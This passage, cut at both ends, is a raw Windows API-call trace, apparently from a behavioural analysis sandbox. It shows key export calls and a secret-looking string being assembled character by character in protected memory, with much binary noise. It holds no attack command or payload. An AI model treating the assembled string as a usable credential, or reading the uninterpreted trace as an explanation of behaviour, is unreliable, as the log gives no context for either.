hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x5a2e8c4 | out: pbData=0x0*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0251.183] CryptExportKey (in: hKey=0x5c99a60, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x23707cc, pdwDataLen=0x5a2e8c4 | out: pbData=0x23707cc*, pdwDataLen=0x5a2e8c4*=0x2c) returned 1 [0251.184] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e4ac, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0251.184] EtwEventActivityIdControl () returned 0x0 [0251.184] EtwEventActivityIdControl () returned 0x0 [0251.184] EtwEventActivityIdControl () returned 0x0 [0251.185] SysStringLen (param_1="") returned 0x8 [0251.185] SysStringLen (param_1="j") returned 0x8 [0251.185] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.185] SysStringLen (param_1="톈ዊ䛅‌咫܆賺") returned 0x8 [0251.185] SysStringLen (param_1="톈ዊ䛅‌咫܆賺") returned 0x8 [0251.185] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.185] SysStringLen (param_1="jb") returned 0x8 [0251.185] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.185] SysStringLen (param_1="숄琢ᲃ棿퍜呥ㆯḷ") returned 0x8 [0251.186] SysStringLen (param_1="숄琢ᲃ棿퍜呥ㆯḷ") returned 0x8 [0251.186] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.186] SysStringLen (param_1="jbc") returned 0x8 [0251.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.186] SysStringLen (param_1="ꛅ㋂ҏ凷脬뎳휅軅") returned 0x8 [0251.186] SysStringLen (param_1="ꛅ㋂ҏ凷脬뎳휅軅") returned 0x8 [0251.186] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.186] SysStringLen (param_1="jbcX") returned 0x8 [0251.186] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.186] SysStringLen (param_1="\ᛛ鴆觓검廨⋺) returned 0x8 [0251.186] SysStringLen (param_1="\ᛛ鴆觓검廨⋺) returned 0x8 [0251.186] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.187] SysStringLen (param_1="jbcXS") returned 0x8 [0251.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.187] SysStringLen (param_1="\嫛躩㍑偂㝓蹇◁∏) returned 0x8 [0251.187] SysStringLen (param_1="\嫛躩㍑偂㝓蹇◁∏) returned 0x8 [0251.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.187] SysStringLen (param_1="jbcXSU") returned 0x8 [0251.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.187] SysStringLen (param_1="嶭頂⮳羽彐嬃뒑") returned 0x8 [0251.187] SysStringLen (param_1="嶭頂⮳羽彐嬃뒑") returned 0x8 [0251.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.187] SysStringLen (param_1="jbcXSUr") returned 0x8 [0251.187] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.187] SysStringLen (param_1="픗\೘昶剅ꪌ䯭\叞") returned 0x8 [0251.187] SysStringLen (param_1="픗\೘昶剅ꪌ䯭\叞") returned 0x8 [0251.187] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.188] SysStringLen (param_1="jbcXSUrU") returned 0x8 [0251.188] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0251.188] SysStringLen (param_1="傣䌊謈텠䬸") returned 0x8 [0251.188] SysStringLen (param_1="傣䌊謈텠䬸") returned 0x8 [0251.188] SysStringLen (param_1="傣䌊謈텠䬸") returned 0x8 [0251.189] SysStringLen (param_1="傣䌊謈텠䬸") returned 0x10 [0251.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.189] SysStringLen (param_1="jbcXSUrU8휴⟊龍箸㵷ꈓ蘃") returned 0x10 [0251.189] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.189] SysStringLen (param_1="傣䌊謈텠䬸핮ﲋ㚜瓾௴懲峸") returned 0x10 [0251.189] SysStringLen (param_1="傣䌊謈텠䬸핮ﲋ㚜瓾௴懲峸") returned 0x10 [0251.189] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.189] SysStringLen (param_1="jbcXSUrU8G⟊龍箸㵷ꈓ蘃") returned 0x10 [0251.189] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.189] SysStringLen (param_1="傣䌊謈텠䬸\觝杦睑㯳㯢揠鈄∞) returned 0x10 [0251.189] SysStringLen (param_1="傣䌊謈텠䬸\觝杦睑㯳㯢揠鈄∞) returned 0x10 [0251.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.190] SysStringLen (param_1="jbcXSUrU8G4龍箸㵷ꈓ蘃") returned 0x10 [0251.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.190] SysStringLen (param_1="傣䌊謈텠䬸᥵塈\鳘\᧜๴ⶩ") returned 0x10 [0251.190] SysStringLen (param_1="傣䌊謈텠䬸᥵塈\鳘\᧜๴ⶩ") returned 0x10 [0251.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.190] SysStringLen (param_1="jbcXSUrU8G4U箸㵷ꈓ蘃") returned 0x10 [0251.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.190] SysStringLen (param_1="傣䌊謈텠䬸יִ蓊䜙鈾눻颳쥱") returned 0x10 [0251.190] SysStringLen (param_1="傣䌊謈텠䬸יִ蓊䜙鈾눻颳쥱") returned 0x10 [0251.190] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.190] SysStringLen (param_1="jbcXSUrU8G4U4㵷ꈓ蘃") returned 0x10 [0251.190] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.191] SysStringLen (param_1="傣䌊謈텠䬸ⷁ슔\\ﯛ矃뽑数") returned 0x10 [0251.191] SysStringLen (param_1="傣䌊謈텠䬸ⷁ슔\\ﯛ矃뽑数") returned 0x10 [0251.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.191] SysStringLen (param_1="jbcXSUrU8G4U4Dꈓ蘃") returned 0x10 [0251.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.191] SysStringLen (param_1="傣䌊謈텠䬸⶛공큍뎅録㉋訦犌") returned 0x10 [0251.191] SysStringLen (param_1="傣䌊謈텠䬸⶛공큍뎅録㉋訦犌") returned 0x10 [0251.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.191] SysStringLen (param_1="jbcXSUrU8G4U4DU蘃") returned 0x10 [0251.191] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.191] SysStringLen (param_1="傣䌊謈텠䬸\쯝陕㞎ꎂ嗳쪟⛱⊙) returned 0x10 [0251.191] SysStringLen (param_1="傣䌊謈텠䬸\쯝陕㞎ꎂ嗳쪟⛱⊙) returned 0x10 [0251.191] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.192] SysStringLen (param_1="jbcXSUrU8G4U4DU1") returned 0x10 [0251.192] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0251.192] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤⊐) returned 0x10 [0251.192] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤⊐) returned 0x10 [0251.192] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤⊐) returned 0x10 [0251.192] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤⊐) returned 0x18 [0251.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.193] SysStringLen (param_1="jbcXSUrU8G4U4DU1G痝껸䥖璸ꬔ힗崓") returned 0x18 [0251.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.193] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤ᢐ퀂䷅쌬趭⼗홟鯾≮) returned 0x18 [0251.193] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤ᢐ퀂䷅쌬趭⼗홟鯾≮) returned 0x18 [0251.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.193] SysStringLen (param_1="jbcXSUrU8G4U4DU1Gw껸䥖璸ꬔ힗崓") returned 0x18 [0251.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.193] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤澐䐫₢증␜\觙\ࣘ∅) returned 0x18 [0251.193] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤澐䐫₢증␜\觙\ࣘ∅) returned 0x18 [0251.193] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.193] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ䥖璸ꬔ힗崓") returned 0x18 [0251.193] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.194] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤袐肏彬뒻淴⾥쾔뿩⊸) returned 0x18 [0251.194] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤袐肏彬뒻淴⾥쾔뿩⊸) returned 0x18 [0251.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.194] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1璸ꬔ힗崓") returned 0x18 [0251.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.194] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤鮐뉧碾緢Რ෡囎⋋) returned 0x18 [0251.194] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤鮐뉧碾緢Რ෡囎⋋) returned 0x18 [0251.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.194] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1sꬔ힗崓") returned 0x18 [0251.194] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.194] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤ঐㅕ攥庌䭞왃窳筟≏) returned 0x18 [0251.194] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤ঐㅕ攥庌䭞왃窳筟≏) returned 0x18 [0251.194] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.195] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1sz힗崓") returned 0x18 [0251.195] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.195] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤傐欠櫓࿯瓫밢唕⋦) returned 0x18 [0251.195] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤傐欠櫓࿯瓫밢唕⋦) returned 0x18 [0251.195] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.195] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szY崓") returned 0x18 [0251.195] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.195] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤랐倇鯌ꜫ솗ꪂ审柌∧) returned 0x18 [0251.195] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤랐倇鯌ꜫ솗ꪂ审柌∧) returned 0x18 [0251.195] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.195] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYq") returned 0x18 [0251.195] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0251.195] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⊻) returned 0x18 [0251.196] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⊻) returned 0x18 [0251.196] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⊻) returned 0x18 [0251.196] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⊻) returned 0x20 [0251.196] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.244] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqj괊윹仗۬句㍾癧") returned 0x20 [0251.244] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.244] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局悻벡ꋞ\냜➔軗") returned 0x20 [0251.244] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局悻벡ꋞ\냜➔軗") returned 0x20 [0251.244] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.244] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjL윹仗۬句㍾癧") returned 0x20 [0251.244] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.244] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局䪻뿌핒퓛졻팡㝑䬁⊚) returned 0x20 [0251.244] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局䪻뿌핒퓛졻팡㝑䬁⊚) returned 0x20 [0251.245] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.245] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLO仗۬句㍾癧") returned 0x20 [0251.245] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.245] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ኻ蹂㿨傪蹖⯌蛰⢈⋤) returned 0x20 [0251.245] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ኻ蹂㿨傪蹖⯌蛰⢈⋤) returned 0x20 [0251.245] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.245] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLOb۬句㍾癧") returned 0x20 [0251.245] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.245] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⿥롩釟텹蟆贰괊≾) returned 0x20 [0251.245] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⿥롩釟텹蟆贰괊≾) returned 0x20 [0251.245] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.246] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObX句㍾癧") returned 0x20 [0251.246] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.246] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᆻ晇ṹ⭂嫍鼹쾲绹⊩) returned 0x20 [0251.246] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᆻ晇ṹ⭂嫍鼹쾲绹⊩) returned 0x20 [0251.246] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.246] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXL㍾癧") returned 0x20 [0251.246] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.246] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局䢻譚푛ꖌ簙鮂괷벷⋌) returned 0x20 [0251.246] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局䢻譚푛ꖌ簙鮂괷벷⋌) returned 0x20 [0251.246] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.246] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG癧") returned 0x20 [0251.246] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.247] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⮻닐燈끦姗ｉ ⊿) returned 0x20 [0251.247] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局⮻닐燈끦姗ｉ ⊿) returned 0x20 [0251.247] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.247] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0") returned 0x20 [0251.247] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0251.247] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ∾) returned 0x20 [0251.247] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ∾) returned 0x20 [0251.247] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ∾) returned 0x20 [0251.248] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ∾) returned 0x28 [0251.248] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.248] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0K\磝蜾껩⒁륛餖⋳) returned 0x28 [0251.248] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.248] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ댾䑭䍁켋ﬥ⿠盧铎∦) returned 0x28 [0251.248] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ댾䑭䍁켋ﬥ⿠盧铎∦) returned 0x28 [0251.248] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.248] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0Ke㹸膮嬤ᚹ") returned 0x28 [0251.248] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.249] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ̾꫹䞃뺑쌜푑ᚇ∻) returned 0x28 [0251.249] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ̾꫹䞃뺑쌜푑ᚇ∻) returned 0x28 [0251.249] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.249] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0Kes膮嬤ᚹ") returned 0x28 [0251.249] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.249] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ켾㰖㾉ᨴ抳崺믃∁) returned 0x28 [0251.249] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ켾㰖㾉ᨴ抳崺믃∁) returned 0x28 [0251.249] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.249] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0Kesm膮嬤ᚹ") returned 0x28 [0251.249] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.249] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ䬾큺봜隃橴鍆⃀韱∼) returned 0x28 [0251.249] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ䬾큺봜隃橴鍆⃀韱∼) returned 0x28 [0251.249] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.250] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0Kesmy嬤ᚹ") returned 0x28 [0251.250] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.250] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ戾ꨨ果ퟗ霭໠᜻⤓⋆) returned 0x28 [0251.250] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ戾ꨨ果ퟗ霭໠᜻⤓⋆) returned 0x28 [0251.250] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.250] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0Kesmyiᚹ") returned 0x28 [0251.250] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.250] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ鰾\ⷞ匵έ垓榪쪀") returned 0x28 [0251.250] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ鰾\ⷞ匵έ垓榪쪀") returned 0x28 [0251.250] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.250] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0KesmyiL") returned 0x28 [0251.250] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.251] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ㌾鋧♛꼋仛ᅒ굀⋜) returned 0x28 [0251.251] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ㌾鋧♛꼋仛ᅒ굀⋜) returned 0x28 [0251.251] SystemFunction041 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.251] SysStringLen (param_1="jbcXSUrU8G4U4DU1GwQ1szYqjLObXLG0KesmyiLV") returned 0x28 [0251.251] SystemFunction040 (in: Memory=0x3af434, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3af434) returned 0x0 [0251.251] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖∟) returned 0x28 [0251.251] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖∟) returned 0x28 [0251.251] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖∟) returned 0x28 [0251.252] SysStringLen (param_1="傣䌊謈텠䬸䵈\飙埳毿⢤龄傕ᦰϴ骍෥局ᒻ볬ᇥ䥉䅓嬊쫭ꉥ谾졖蔑덞ꕖ魮켖∟) returned 0x30 [0251.252] SystemFunction041 (in: Memory=0x5c92f8c, MemorySize=0x60, 